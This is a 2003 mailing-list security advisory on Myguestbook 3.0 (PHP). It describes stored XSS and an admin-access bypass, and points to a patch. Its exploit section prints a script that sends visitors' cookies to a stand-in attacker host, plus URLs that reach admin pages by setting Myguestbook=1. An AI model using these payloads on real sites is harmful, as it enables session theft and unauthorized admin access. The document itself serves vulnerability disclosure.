[VulnWatch] Myguestbook (PHP)

From: Frog Man (leseulfrogat_private)
Date: Thu Feb 20 2003 - 23:02:58 PST

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    Informations :
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Version : 3.0
Website : http://www.tefonline.net/
Problems :
- XSS -> admin infos recovery
- Access to admin pages

PHP Code/Location :
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If pseudo = [SCRIPT],
e-mail = >[SCRIPT]
or message = </textarea>[SCRIPT]

[SCRIPT] will be executed on index.php, /admin/user_modif.php, 
/admin/admin_modif.php and /admin/admin_suppr.php .


/admin/confirm_connect.php :
---------------------------------------------
SetCookie("Myguestbook","$name:$password");
---------------------------------------------





/admin/admin_pass.php, /admin/admin_index.php, /admin/admin_modif.php and 
/admin/admin_suppr.php :
--------------------------------------------------------------------
<?
if(!isset($Myguestbook))
	  header("location:../index.php?MSG=permis");
?>
--------------------------------------------------------------------



Exploits :
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[SCRIPT] :
<script>
location='http://[attacker]/file.php?'+document.cookie;
</script>

http://[target]/admin/admin_index.php?Myguestbook=1
http://[target]/admin/admin_pass.php?Myguestbook=1
http://[target]/admin/admin_modif.php?Myguestbook=1
http://[target]/admin/admin_suppr.php?Myguestbook=1



http://[target]/admin/user_modif.php?id=[MESSAGEID]




Solution :
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A patch can be found on http://www.phpsecure.org.


More Details :
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In French :
http://www.frog-man.org/tutos/Myguestbook.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FMyguestbook.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools




frog-m@n



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